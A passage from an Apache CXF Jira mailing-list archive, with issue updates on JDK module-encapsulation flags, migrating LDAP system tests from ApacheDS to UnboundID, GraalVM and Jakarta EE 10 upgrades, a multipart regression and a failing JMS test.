java.base/java.util=ALL-UNNAMED-{color}
* *SOAPRpcLitClientTypeTest* with xercesImpl: needs --add-opens
java.xml/javax.xml.namespace=ALL-UNNAMED (see please
[https://github.com/javaee/jaxb-v2/issues/1184])
* .{-}*JAXRSLDAPUserTest*{-}: (fixed by CXF-8809)
-- apacheds needs --add-opens java.base/sun.security.x509=ALL-UNNAMED
--add-opens java.base/sun.security.util=ALL-UNNAMED-
- -org.springframework.ldap needs -add-opens
java.naming/com.sun.jndi.ldap=ALL-UNNAMED- (fixed in 2.3.4.RELEASE)
* *JsFrontEndServletTest* & {*}JSClientServerTest{*}: need --add-opens
java.xml/com.sun.org.apache.xerces.internal.dom=ALL-UNNAMED (saaj-impl 1.5.3
SOAPDocumentImpl::createDocument() instantiates
`com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderFactoryImpl`)
* *JAXRSClientServerBookTest* & {*}JAXRSHttpsBookTest{*}: need --add-opens
java.base/java.net=ALL-UNNAMED --add-opens
java.base/sun.net.[www.protocol.https=ALL-UNNAMED|http://www.protocol.https=all-unnamed/]
(setting custom HTTP method fe RETRIEVE in
URLConnectionHTTPConduit::setupConnection using reflection)
We should migrate from using those to the means provided by standard library.
[1] [https://openjdk.java.net/jeps/396]
[2] [https://cr.openjdk.java.net/~mr/jigsaw/jdk8-packages-denied-by-default]
was:
JEP-396 introduces stronger encapsulation of JDK internals by default. In CXF,
we are using a number of tricks to access JDK internals, including but not
limited to:
* -AutomaticWorkQueueImpl uses private ThreadPoolExecutor::addWorker: needs
--add-opens java.base/java.util.concurrent=ALL-UNNAMED-
* -EasyMock: needs --add-opens java.base/java.lang=ALL-UNNAMED- (fixed in
EasyMock 5.0.1 by moving off to ByteBuddy)
* CgLib (Spring AOP): needs --add-opens java.base/java.lang=ALL-UNNAMED
{noformat}
Caused by: org.springframework.cglib.core.CodeGenerationException:
java.lang.reflect.InaccessibleObjectException-->Unable to make protected final
java.lang.Class
java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int,java.security.ProtectionDomain)
throws java.lang.ClassFormatError accessible: module java.base does not "opens
java.lang" to unnamed module @1e67b872
at
org.springframework.cglib.core.ReflectUtils.defineClass(ReflectUtils.java:549)
{noformat}
* -ImportRepairTest uses XSImplementationImpl: --add-exports
java.xml/com.sun.org.apache.xerces.internal.impl.xs=ALL-UNNAMED --add-exports
java.xml/com.sun.org.apache.xerces.internal.impl.xs.util=ALL-UNNAMED-
* -ReferencingAuthenticator (method tryWith): needs --add-opens
java.base/java.net=ALL-UNNAMED-
* -stax.WriterTest: needs- -add-opens
java.xml/com.sun.org.apache.xerces.internal.jaxp=ALL-UNNAMED-
* {color:#172b4d}-johnzon-jsonb: needs --add-opens
java.base/java.util=ALL-UNNAMED-{color}
* *SOAPRpcLitClientTypeTest* with xercesImpl: needs --add-opens
java.xml/javax.xml.namespace=ALL-UNNAMED (see please
[https://github.com/javaee/jaxb-v2/issues/1184])
* .{*}JAXRSLDAPUserTest{*}:
- apacheds needs --add-opens java.base/sun.security.x509=ALL-UNNAMED
--add-opens java.base/sun.security.util=ALL-UNNAMED
- -org.springframework.ldap needs -add-opens
java.naming/com.sun.jndi.ldap=ALL-UNNAMED- (fixed in 2.3.4.RELEASE)
* *JsFrontEndServletTest* & {*}JSClientServerTest{*}: need --add-opens
[jira] [Resolved] (CXF-8809) Migrate LDAP systest cases from ApacheDS to UnboundID LDAP
[
https://issues.apache.org/jira/browse/CXF-8809?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Andriy Redko resolved CXF-8809.
---
Resolution: Fixed
> Migrate LDAP systest cases from ApacheDS to UnboundID LDAP
> --
>
> Key: CXF-8809
> URL: https://issues.apache.org/jira/browse/CXF-8809
> Project: CXF
> Issue Type: Improvement
>Affects Versions: 3.4.10, 3.5.5
>Reporter: Andriy Redko
>Assignee: Andriy Redko
>Priority: Major
> Fix For: 4.0.0, 3.6.0, 3.5.6, 3.4.11
>
>
> The ApacheDS project is effectively dead (no releases since 2020), moreover
> it is not compatible with latest JDK-20+:
> {noformat}
> java.lang.NoSuchMethodError: 'void
> sun.security.x509.X509CertInfo.set(java.lang.String, java.lang.Object)'
> at
> org.apache.directory.server.core.security.CertificateUtil.setInfo(CertificateUtil.java:96)
> at
> org.apache.directory.server.core.security.CertificateUtil.generateSelfSignedCertificate(CertificateUtil.java:194)
> at
> org.apache.directory.server.core.security.CertificateUtil.createTempKeyStore(CertificateUtil.java:337)
> at
> org.apache.directory.server.factory.ServerAnnotationProcessor.instantiateLdapServer(ServerAnnotationProcessor.java:158)
> at
> org.apache.directory.server.factory.ServerAnnotationProcessor.createLdapServer(ServerAnnotationProcessor.java:318)
> at
> org.apache.directory.server.factory.ServerAnnotationProcessor.createLdapServer(ServerAnnotationProcessor.java:351)
> {noformat}
> The Apache CXF only uses ApacheDS in LDAP systests, we have to migrate to the
> supported option , for example UnboundID LDAP
> (https://github.com/pingidentity/ldapsdk)
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Updated] (CXF-8809) Migrate LDAP systest cases from ApacheDS to UnboundID LDAP
[
https://issues.apache.org/jira/browse/CXF-8809?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Andriy Redko updated CXF-8809:
--
Affects Version/s: 3.5.5
3.4.10
> Migrate LDAP systest cases from ApacheDS to UnboundID LDAP
> --
>
> Key: CXF-8809
> URL: https://issues.apache.org/jira/browse/CXF-8809
> Project: CXF
> Issue Type: Improvement
>Affects Versions: 3.4.10, 3.5.5
>Reporter: Andriy Redko
>Assignee: Andriy Redko
>Priority: Major
> Fix For: 4.0.0, 3.6.0, 3.5.6, 3.4.11
>
>
> The ApacheDS project is effectively dead (no releases since 2020), moreover
> it is not compatible with latest JDK-20+:
> {noformat}
> java.lang.NoSuchMethodError: 'void
> sun.security.x509.X509CertInfo.set(java.lang.String, java.lang.Object)'
> at
> org.apache.directory.server.core.security.CertificateUtil.setInfo(CertificateUtil.java:96)
> at
> org.apache.directory.server.core.security.CertificateUtil.generateSelfSignedCertificate(CertificateUtil.java:194)
> at
> org.apache.directory.server.core.security.CertificateUtil.createTempKeyStore(CertificateUtil.java:337)
> at
> org.apache.directory.server.factory.ServerAnnotationProcessor.instantiateLdapServer(ServerAnnotationProcessor.java:158)
> at
> org.apache.directory.server.factory.ServerAnnotationProcessor.createLdapServer(ServerAnnotationProcessor.java:318)
> at
> org.apache.directory.server.factory.ServerAnnotationProcessor.createLdapServer(ServerAnnotationProcessor.java:351)
> {noformat}
> The Apache CXF only uses ApacheDS in LDAP systests, we have to migrate to the
> supported option , for example UnboundID LDAP
> (https://github.com/pingidentity/ldapsdk)
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Updated] (CXF-8809) Migrate LDAP systest cases from ApacheDS to UnboundID LDAP
[
https://issues.apache.org/jira/browse/CXF-8809?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Andriy Redko updated CXF-8809:
--
Fix Version/s: 3.6.0
> Migrate LDAP systest cases from ApacheDS to UnboundID LDAP
> --
>
> Key: CXF-8809
> URL: https://issues.apache.org/jira/browse/CXF-8809
> Project: CXF
> Issue Type: Improvement
>Reporter: Andriy Redko
>Assignee: Andriy Redko
>Priority: Major
> Fix For: 4.0.0, 3.6.0
>
>
> The ApacheDS project is effectively dead (no releases since 2020), moreover
> it is not compatible with latest JDK-20+:
> {noformat}
> java.lang.NoSuchMethodError: 'void
> sun.security.x509.X509CertInfo.set(java.lang.String, java.lang.Object)'
> at
> org.apache.directory.server.core.security.CertificateUtil.setInfo(CertificateUtil.java:96)
> at
> org.apache.directory.server.core.security.CertificateUtil.generateSelfSignedCertificate(CertificateUtil.java:194)
> at
> org.apache.directory.server.core.security.CertificateUtil.createTempKeyStore(CertificateUtil.java:337)
> at
> org.apache.directory.server.factory.ServerAnnotationProcessor.instantiateLdapServer(ServerAnnotationProcessor.java:158)
> at
> org.apache.directory.server.factory.ServerAnnotationProcessor.createLdapServer(ServerAnnotationProcessor.java:318)
> at
> org.apache.directory.server.factory.ServerAnnotationProcessor.createLdapServer(ServerAnnotationProcessor.java:351)
> {noformat}
> The Apache CXF only uses ApacheDS in LDAP systests, we have to migrate to the
> supported option , for example UnboundID LDAP
> (https://github.com/pingidentity/ldapsdk)
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Updated] (CXF-8809) Migrate LDAP systest cases from ApacheDS to UnboundID LDAP
[
https://issues.apache.org/jira/browse/CXF-8809?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Andriy Redko updated CXF-8809:
--
Fix Version/s: 3.5.6
3.4.11
> Migrate LDAP systest cases from ApacheDS to UnboundID LDAP
> --
>
> Key: CXF-8809
> URL: https://issues.apache.org/jira/browse/CXF-8809
> Project: CXF
> Issue Type: Improvement
>Reporter: Andriy Redko
>Assignee: Andriy Redko
>Priority: Major
> Fix For: 4.0.0, 3.6.0, 3.5.6, 3.4.11
>
>
> The ApacheDS project is effectively dead (no releases since 2020), moreover
> it is not compatible with latest JDK-20+:
> {noformat}
> java.lang.NoSuchMethodError: 'void
> sun.security.x509.X509CertInfo.set(java.lang.String, java.lang.Object)'
> at
> org.apache.directory.server.core.security.CertificateUtil.setInfo(CertificateUtil.java:96)
> at
> org.apache.directory.server.core.security.CertificateUtil.generateSelfSignedCertificate(CertificateUtil.java:194)
> at
> org.apache.directory.server.core.security.CertificateUtil.createTempKeyStore(CertificateUtil.java:337)
> at
> org.apache.directory.server.factory.ServerAnnotationProcessor.instantiateLdapServer(ServerAnnotationProcessor.java:158)
> at
> org.apache.directory.server.factory.ServerAnnotationProcessor.createLdapServer(ServerAnnotationProcessor.java:318)
> at
> org.apache.directory.server.factory.ServerAnnotationProcessor.createLdapServer(ServerAnnotationProcessor.java:351)
> {noformat}
> The Apache CXF only uses ApacheDS in LDAP systests, we have to migrate to the
> supported option , for example UnboundID LDAP
> (https://github.com/pingidentity/ldapsdk)
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Updated] (CXF-8809) Migrate LDAP systest cases from ApacheDS to UnboundID LDAP
[
https://issues.apache.org/jira/browse/CXF-8809?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Andriy Redko updated CXF-8809:
--
Issue Type: Improvement (was: Bug)
> Migrate LDAP systest cases from ApacheDS to UnboundID LDAP
> --
>
> Key: CXF-8809
> URL: https://issues.apache.org/jira/browse/CXF-8809
> Project: CXF
> Issue Type: Improvement
>Reporter: Andriy Redko
>Assignee: Andriy Redko
>Priority: Major
> Fix For: 4.0.0
>
>
> The ApacheDS project is effectively dead (no releases since 2020), moreover
> it is not compatible with latest JDK-20+:
> {noformat}
> java.lang.NoSuchMethodError: 'void
> sun.security.x509.X509CertInfo.set(java.lang.String, java.lang.Object)'
> at
> org.apache.directory.server.core.security.CertificateUtil.setInfo(CertificateUtil.java:96)
> at
> org.apache.directory.server.core.security.CertificateUtil.generateSelfSignedCertificate(CertificateUtil.java:194)
> at
> org.apache.directory.server.core.security.CertificateUtil.createTempKeyStore(CertificateUtil.java:337)
> at
> org.apache.directory.server.factory.ServerAnnotationProcessor.instantiateLdapServer(ServerAnnotationProcessor.java:158)
> at
> org.apache.directory.server.factory.ServerAnnotationProcessor.createLdapServer(ServerAnnotationProcessor.java:318)
> at
> org.apache.directory.server.factory.ServerAnnotationProcessor.createLdapServer(ServerAnnotationProcessor.java:351)
> {noformat}
> The Apache CXF only uses ApacheDS in LDAP systests, we have to migrate to the
> supported option , for example UnboundID LDAP
> (https://github.com/pingidentity/ldapsdk)
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Updated] (CXF-8809) Migrate LDAP systest cases from ApacheDS to UnboundID LDAP
[
https://issues.apache.org/jira/browse/CXF-8809?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Andriy Redko updated CXF-8809:
--
Description:
The ApacheDS project is effectively dead (no releases since 2020), moreover it
is not compatible with latest JDK-20+:
{noformat}
java.lang.NoSuchMethodError: 'void
sun.security.x509.X509CertInfo.set(java.lang.String, java.lang.Object)'
at
org.apache.directory.server.core.security.CertificateUtil.setInfo(CertificateUtil.java:96)
at
org.apache.directory.server.core.security.CertificateUtil.generateSelfSignedCertificate(CertificateUtil.java:194)
at
org.apache.directory.server.core.security.CertificateUtil.createTempKeyStore(CertificateUtil.java:337)
at
org.apache.directory.server.factory.ServerAnnotationProcessor.instantiateLdapServer(ServerAnnotationProcessor.java:158)
at
org.apache.directory.server.factory.ServerAnnotationProcessor.createLdapServer(ServerAnnotationProcessor.java:318)
at
org.apache.directory.server.factory.ServerAnnotationProcessor.createLdapServer(ServerAnnotationProcessor.java:351)
{noformat}
The Apache CXF only uses ApacheDS in LDAP systests, we have to migrate to the
supported option , for example UnboundID LDAP
(https://github.com/pingidentity/ldapsdk)
was:
The ApacheDS project is effectively dead (no releases since 2020), moreover it
is not compatible with latest JDK-20+:
{noformat}
java.lang.NoSuchMethodError: 'void
sun.security.x509.X509CertInfo.set(java.lang.String, java.lang.Object)'
at
org.apache.directory.server.core.security.CertificateUtil.setInfo(CertificateUtil.java:96)
at
org.apache.directory.server.core.security.CertificateUtil.generateSelfSignedCertificate(CertificateUtil.java:194)
at
org.apache.directory.server.core.security.CertificateUtil.createTempKeyStore(CertificateUtil.java:337)
at
org.apache.directory.server.factory.ServerAnnotationProcessor.instantiateLdapServer(ServerAnnotationProcessor.java:158)
at
org.apache.directory.server.factory.ServerAnnotationProcessor.createLdapServer(ServerAnnotationProcessor.java:318)
at
org.apache.directory.server.factory.ServerAnnotationProcessor.createLdapServer(ServerAnnotationProcessor.java:351)
{noformat}
The Apache CXF only uses ApacheDS in LDAP systests, we have to migrate to the
supported option, for example
> Migrate LDAP systest cases from ApacheDS to UnboundID LDAP
> --
>
> Key: CXF-8809
> URL: https://issues.apache.org/jira/browse/CXF-8809
> Project: CXF
> Issue Type: Bug
>Reporter: Andriy Redko
>Assignee: Andriy Redko
>Priority: Major
> Fix For: 4.0.0
>
>
> The ApacheDS project is effectively dead (no releases since 2020), moreover
> it is not compatible with latest JDK-20+:
> {noformat}
> java.lang.NoSuchMethodError: 'void
> sun.security.x509.X509CertInfo.set(java.lang.String, java.lang.Object)'
> at
> org.apache.directory.server.core.security.CertificateUtil.setInfo(CertificateUtil.java:96)
> at
> org.apache.directory.server.core.security.CertificateUtil.generateSelfSignedCertificate(CertificateUtil.java:194)
> at
> org.apache.directory.server.core.security.CertificateUtil.createTempKeyStore(CertificateUtil.java:337)
> at
> org.apache.directory.server.factory.ServerAnnotationProcessor.instantiateLdapServer(ServerAnnotationProcessor.java:158)
> at
> org.apache.directory.server.factory.ServerAnnotationProcessor.createLdapServer(ServerAnnotationProcessor.java:318)
> at
> org.apache.directory.server.factory.ServerAnnotationProcessor.createLdapServer(ServerAnnotationProcessor.java:351)
> {noformat}
> The Apache CXF only uses ApacheDS in LDAP systests, we have to migrate to the
> supported option , for example UnboundID LDAP
> (https://github.com/pingidentity/ldapsdk)
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Updated] (CXF-8809) Migrate LDAP systest cases from ApacheDS to UnboundID LDAP
[
https://issues.apache.org/jira/browse/CXF-8809?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Andriy Redko updated CXF-8809:
--
Description:
The ApacheDS project is effectively dead (no releases since 2020), moreover it
is not compatible with latest JDK-20+:
{noformat}
java.lang.NoSuchMethodError: 'void
sun.security.x509.X509CertInfo.set(java.lang.String, java.lang.Object)'
at
org.apache.directory.server.core.security.CertificateUtil.setInfo(CertificateUtil.java:96)
at
org.apache.directory.server.core.security.CertificateUtil.generateSelfSignedCertificate(CertificateUtil.java:194)
at
org.apache.directory.server.core.security.CertificateUtil.createTempKeyStore(CertificateUtil.java:337)
at
org.apache.directory.server.factory.ServerAnnotationProcessor.instantiateLdapServer(ServerAnnotationProcessor.java:158)
at
org.apache.directory.server.factory.ServerAnnotationProcessor.createLdapServer(ServerAnnotationProcessor.java:318)
at
org.apache.directory.server.factory.ServerAnnotationProcessor.createLdapServer(ServerAnnotationProcessor.java:351)
{noformat}
The Apache CXF only uses ApacheDS in LDAP systests, we have to migrate to the
supported option, for example
> Migrate LDAP systest cases from ApacheDS to UnboundID LDAP
> --
>
> Key: CXF-8809
> URL: https://issues.apache.org/jira/browse/CXF-8809
> Project: CXF
> Issue Type: Bug
>Reporter: Andriy Redko
>Assignee: Andriy Redko
>Priority: Major
> Fix For: 4.0.0
>
>
> The ApacheDS project is effectively dead (no releases since 2020), moreover
> it is not compatible with latest JDK-20+:
> {noformat}
> java.lang.NoSuchMethodError: 'void
> sun.security.x509.X509CertInfo.set(java.lang.String, java.lang.Object)'
> at
> org.apache.directory.server.core.security.CertificateUtil.setInfo(CertificateUtil.java:96)
> at
> org.apache.directory.server.core.security.CertificateUtil.generateSelfSignedCertificate(CertificateUtil.java:194)
> at
> org.apache.directory.server.core.security.CertificateUtil.createTempKeyStore(CertificateUtil.java:337)
> at
> org.apache.directory.server.factory.ServerAnnotationProcessor.instantiateLdapServer(ServerAnnotationProcessor.java:158)
> at
> org.apache.directory.server.factory.ServerAnnotationProcessor.createLdapServer(ServerAnnotationProcessor.java:318)
> at
> org.apache.directory.server.factory.ServerAnnotationProcessor.createLdapServer(ServerAnnotationProcessor.java:351)
> {noformat}
> The Apache CXF only uses ApacheDS in LDAP systests, we have to migrate to the
> supported option, for example
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Created] (CXF-8809) Migrate LDAP systest cases from ApacheDS to UnboundID LDAP
Andriy Redko created CXF-8809: - Summary: Migrate LDAP systest cases from ApacheDS to UnboundID LDAP Key: CXF-8809 URL: https://issues.apache.org/jira/browse/CXF-8809 Project: CXF Issue Type: Bug Reporter: Andriy Redko Assignee: Andriy Redko Fix For: 4.0.0 -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Resolved] (CXF-8743) Update to GraalVM 22.3
[ https://issues.apache.org/jira/browse/CXF-8743?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko resolved CXF-8743. --- Resolution: Fixed > Update to GraalVM 22.3 > -- > > Key: CXF-8743 > URL: https://issues.apache.org/jira/browse/CXF-8743 > Project: CXF > Issue Type: Improvement > Components: graalvm >Affects Versions: 4.0.0, 3.6.0 >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 4.0.0, 3.6.0 > > > [https://github.com/graalvm/graalvm-ce-builds/releases/tag/vm-22.3.0|https://github.com/graalvm/graalvm-ce-builds/releases/tag/vm-22.2.0], > no migration for 3.5.x / 3.4.x since there is no JDK-8 support anymore. -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Assigned] (CXF-8669) Multipart annotation not working 3.4.6 onwards.
[
https://issues.apache.org/jira/browse/CXF-8669?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Andriy Redko reassigned CXF-8669:
-
Assignee: Andriy Redko
> Multipart annotation not working 3.4.6 onwards.
> ---
>
> Key: CXF-8669
> URL: https://issues.apache.org/jira/browse/CXF-8669
> Project: CXF
> Issue Type: Bug
>Reporter: Abhishek Rana
>Assignee: Andriy Redko
>Priority: Major
>
> Hello Team,
> I have following API declaration
> {code:java}
> @POST
> @Path("/{configurationName}.diff")
> @Consumes(MediaType.MULTIPART_FORM_DATA)
> @Produces({MediaType.APPLICATION_JSON})
> ConfigurationDiffDTO diff(@PathParam("configurationName") String
> configurationName,
> @Multipart(value = "fromRev", required = false) Long fromRev,
> @Multipart(value = "toRev", required = false) Long toRev, @Multipart(value =
> "file", required = false) Attachment file);
> {code}
> Above declaration works fine till 3.4.5 , after I upgraded to 3.5.0 (even
> 3.4.6) , multipart form values (fromRev and toRev) they are coming as null.
> Is it a regression?
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Commented] (CXF-8669) Multipart annotation not working 3.4.6 onwards.
[
https://issues.apache.org/jira/browse/CXF-8669?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel=17647802#comment-17647802
]
Andriy Redko commented on CXF-8669:
---
[~echatellier] thank you very much for such in-depth investigation and
pin-pointing the issue.
> Multipart annotation not working 3.4.6 onwards.
> ---
>
> Key: CXF-8669
> URL: https://issues.apache.org/jira/browse/CXF-8669
> Project: CXF
> Issue Type: Bug
>Reporter: Abhishek Rana
>Priority: Major
>
> Hello Team,
> I have following API declaration
> {code:java}
> @POST
> @Path("/{configurationName}.diff")
> @Consumes(MediaType.MULTIPART_FORM_DATA)
> @Produces({MediaType.APPLICATION_JSON})
> ConfigurationDiffDTO diff(@PathParam("configurationName") String
> configurationName,
> @Multipart(value = "fromRev", required = false) Long fromRev,
> @Multipart(value = "toRev", required = false) Long toRev, @Multipart(value =
> "file", required = false) Attachment file);
> {code}
> Above declaration works fine till 3.4.5 , after I upgraded to 3.5.0 (even
> 3.4.6) , multipart form values (fromRev and toRev) they are coming as null.
> Is it a regression?
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Updated] (CXF-8743) Update to GraalVM 22.3
[ https://issues.apache.org/jira/browse/CXF-8743?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8743: -- Description: [https://github.com/graalvm/graalvm-ce-builds/releases/tag/vm-22.3.0|https://github.com/graalvm/graalvm-ce-builds/releases/tag/vm-22.2.0], no migration for 3.5.x / 3.4.x since there is no JDK-8 support anymore. (was: https://github.com/graalvm/graalvm-ce-builds/releases/tag/vm-22.2.0) > Update to GraalVM 22.3 > -- > > Key: CXF-8743 > URL: https://issues.apache.org/jira/browse/CXF-8743 > Project: CXF > Issue Type: Improvement > Components: graalvm >Affects Versions: 3.5.3, 3.4.8 >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 4.0.0, 3.6.0 > > > [https://github.com/graalvm/graalvm-ce-builds/releases/tag/vm-22.3.0|https://github.com/graalvm/graalvm-ce-builds/releases/tag/vm-22.2.0], > no migration for 3.5.x / 3.4.x since there is no JDK-8 support anymore. -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8743) Update to GraalVM 22.3
[ https://issues.apache.org/jira/browse/CXF-8743?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8743: -- Affects Version/s: 4.0.0 3.6.0 (was: 3.5.3) (was: 3.4.8) > Update to GraalVM 22.3 > -- > > Key: CXF-8743 > URL: https://issues.apache.org/jira/browse/CXF-8743 > Project: CXF > Issue Type: Improvement > Components: graalvm >Affects Versions: 4.0.0, 3.6.0 >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 4.0.0, 3.6.0 > > > [https://github.com/graalvm/graalvm-ce-builds/releases/tag/vm-22.3.0|https://github.com/graalvm/graalvm-ce-builds/releases/tag/vm-22.2.0], > no migration for 3.5.x / 3.4.x since there is no JDK-8 support anymore. -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8743) Update to GraalVM 22.3
[ https://issues.apache.org/jira/browse/CXF-8743?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8743: -- Fix Version/s: (was: 3.5.6) (was: 3.4.11) > Update to GraalVM 22.3 > -- > > Key: CXF-8743 > URL: https://issues.apache.org/jira/browse/CXF-8743 > Project: CXF > Issue Type: Improvement > Components: graalvm >Affects Versions: 3.5.3, 3.4.8 >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 4.0.0, 3.6.0 > > > https://github.com/graalvm/graalvm-ce-builds/releases/tag/vm-22.2.0 -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8743) Update to GraalVM 22.3
[ https://issues.apache.org/jira/browse/CXF-8743?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8743: -- Fix Version/s: 4.0.0 (was: 4.1.0) > Update to GraalVM 22.3 > -- > > Key: CXF-8743 > URL: https://issues.apache.org/jira/browse/CXF-8743 > Project: CXF > Issue Type: Improvement > Components: graalvm >Affects Versions: 3.5.3, 3.4.8 >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 4.0.0, 3.6.0, 3.5.6, 3.4.11 > > > https://github.com/graalvm/graalvm-ce-builds/releases/tag/vm-22.2.0 -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8671) Support Jakarta EE 10
[ https://issues.apache.org/jira/browse/CXF-8671?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8671: -- Description: Support Jakarta EE 10 Jakarta EE 10 has Landed - [https://jakartaee-ambassadors.io/2022/09/22/jakarta-ee-10-released/] [https://jakarta.ee/release/10/] Updates required: - Undertow 2.3.x - Jetty 12 - Tomcat 11 (https://www.mail-archive.com/announce@apache.org/msg07789.html) was: Support Jakarta EE 10 Jakarta EE 10 has Landed - [https://jakartaee-ambassadors.io/2022/09/22/jakarta-ee-10-released/] [https://jakarta.ee/release/10/] Updates required: - Undertow 2.3.x - Jetty 12 > Support Jakarta EE 10 > - > > Key: CXF-8671 > URL: https://issues.apache.org/jira/browse/CXF-8671 > Project: CXF > Issue Type: Improvement >Reporter: Andriy Redko >Priority: Major > > Support Jakarta EE 10 > Jakarta EE 10 has Landed - > [https://jakartaee-ambassadors.io/2022/09/22/jakarta-ee-10-released/] > [https://jakarta.ee/release/10/] > > Updates required: > - Undertow 2.3.x > - Jetty 12 > - Tomcat 11 (https://www.mail-archive.com/announce@apache.org/msg07789.html) -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Reopened] (CXF-8807) Fix org.apache.cxf.transport.jms.RequestResponseTest.testRequestTopicResponseStaticQueue
[ https://issues.apache.org/jira/browse/CXF-8807?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko reopened CXF-8807: --- > Fix > org.apache.cxf.transport.jms.RequestResponseTest.testRequestTopicResponseStaticQueue > > > Key: CXF-8807 > URL: https://issues.apache.org/jira/browse/CXF-8807 > Project: CXF > Issue Type: Sub-task >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 4.0.0 > > > h1. Regression > Build / Matrix - JAVA_VERSION = 'jdk_19_latest' / JDK specific build / Build > & Test / > org.apache.cxf.transport.jms.RequestResponseTest.testRequestTopicResponseStaticQueue > > h3. Error Message > Can't receive the Conduit Message in 10 seconds > h3. Stacktrace > java.lang.AssertionError: Can't receive the Conduit Message in 10 seconds at > org.junit.Assert.fail(Assert.java:89) at > org.junit.Assert.assertTrue(Assert.java:42) at > org.junit.Assert.assertNotNull(Assert.java:713) at > org.apache.cxf.transport.jms.AbstractJMSTester.waitForReceiveInMessage(AbstractJMSTester.java:306) > at > org.apache.cxf.transport.jms.RequestResponseTest.sendAndReceiveMessages(RequestResponseTest.java:99) > at > org.apache.cxf.transport.jms.RequestResponseTest.testRequestTopicResponseStaticQueue(RequestResponseTest.java:64) > at > java.base/jdk.internal.reflect.DirectMethodHandleAccessor.invoke(DirectMethodHandleAccessor.java:104) > at java.base/java.lang.reflect.Method.invoke(Method.java:578) at > org.junit.runners.model.FrameworkMethod$1.runReflectiveCall(FrameworkMethod.java:59) > at > org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:12) > at > org.junit.runners.model.FrameworkMethod.invokeExplosively(FrameworkMethod.java:56) > at > org.junit.internal.runners.statements.InvokeMethod.evaluate(InvokeMethod.java:17) > at org.junit.runners.ParentRunner$3.evaluate(ParentRunner.java:306) at > org.junit.runners.BlockJUnit4ClassRunner$1.evaluate(BlockJUnit4ClassRunner.java:100) > at org.junit.runners.ParentRunner.runLeaf(ParentRunner.java:366) at > org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:103) > at > org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:63) > at org.junit.runners.ParentRunner$4.run(ParentRunner.java:331) at > org.junit.runners.ParentRunner$1.schedule(ParentRunner.java:79) at > org.junit.runners.ParentRunner.runChildren(ParentRunner.java:329) at > org.junit.runners.ParentRunner.access$100(ParentRunner.java:66) at > org.junit.runners.ParentRunner$2.evaluate(ParentRunner.java:293) at > org.junit.internal.runners.statements.RunBefores.evaluate(RunBefores.java:26) > at > org.junit.internal.runners.statements.RunAfters.evaluate(RunAfters.java:27) > at org.junit.runners.ParentRunner$3.evaluate(ParentRunner.java:306) at > org.junit.runners.ParentRunner.run(ParentRunner.java:413) at > org.apache.maven.surefire.junit4.JUnit4Provider.execute(JUnit4Provider.java:377) > at > org.apache.maven.surefire.junit4.JUnit4Provider.executeWithRerun(JUnit4Provider.java:284) > at > org.apache.maven.surefire.junit4.JUnit4Provider.executeTestSet(JUnit4Provider.java:248) > at > org.apache.maven.surefire.junit4.JUnit4Provider.invoke(JUnit4Provider.java:167) > at > org.apache.maven.surefire.booter.ForkedBooter.runSuitesInProcess(ForkedBooter.java:456) > at > org.apache.maven.surefire.booter.ForkedBooter.execute(ForkedBooter.java:169) > at org.apache.maven.surefire.booter.ForkedBooter.run(ForkedBooter.java:595) > at org.apache.maven.surefire.booter.ForkedBooter.main(ForkedBooter.java:581) -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8807) Fix org.apache.cxf.transport.jms.RequestResponseTest.testRequestTopicResponseStaticQueue
